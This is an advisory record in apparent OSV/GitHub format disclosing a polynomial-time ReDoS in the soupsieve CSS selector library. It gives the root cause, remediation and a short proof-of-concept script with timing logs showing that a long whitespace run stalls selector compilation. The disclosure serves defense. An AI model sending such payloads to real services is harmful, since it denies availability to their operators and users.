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{"schema_version":"1.9.0","id":"GHSA-j934-xhv5-fg8f","published":"2026-09-17T20:32:53Z","modified":"2026-10-01T17:56:03.541286563Z","aliases":["CVE-2026-85999","PYSEC-2026-4171"],"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","details":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern) # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel); st = \"ok\"\n except Exception as e:\n st = type(e).__name__\n return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = ct(\"a\" + \" \" * n + \"b\")\n print(f\" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\n n=2000 len=2002 112.3 ms [ok]\n n=4000 len=4002 411.5 ms [ok]\n n=8000 len=8002 1602.9 ms [ok]\n n=16000 len=16002 6464.1 ms [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run):\n n=1000 len=5002 48.9 ms [SelectorSyntaxError]\n n=2000 len=10002 194.8 ms [SelectorSyntaxError]\n n=4000 len=20002 780.2 ms [SelectorSyntaxError]\n n=8000 len=40002 3145.3 ms [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b') (len=20002)\n[+] wall time = 10.23 s [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n n=2000 len=2002 102.7 ms [ok]\n n=4000 len=4002 404.3 ms [ok]\n n=8000 len=8002 1618.2 ms [ok]\n n=16000 len=16002 6457.9 ms [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","affected":[{"package":{"name":"soupsieve","ecosystem":"PyPI","purl":"pkg:pypi/soupsieve"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3","2.8.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-j934-xhv5-fg8f/GHSA-j934-xhv5-fg8f.json"}}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85999"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}],"database_specific":{"cwe_ids":["CWE-1333","CWE-400"],"github_reviewed":true,"github_reviewed_at":"2026-09-17T20:32:53Z","nvd_published_at":"2026-09-17T16:18:16Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]} |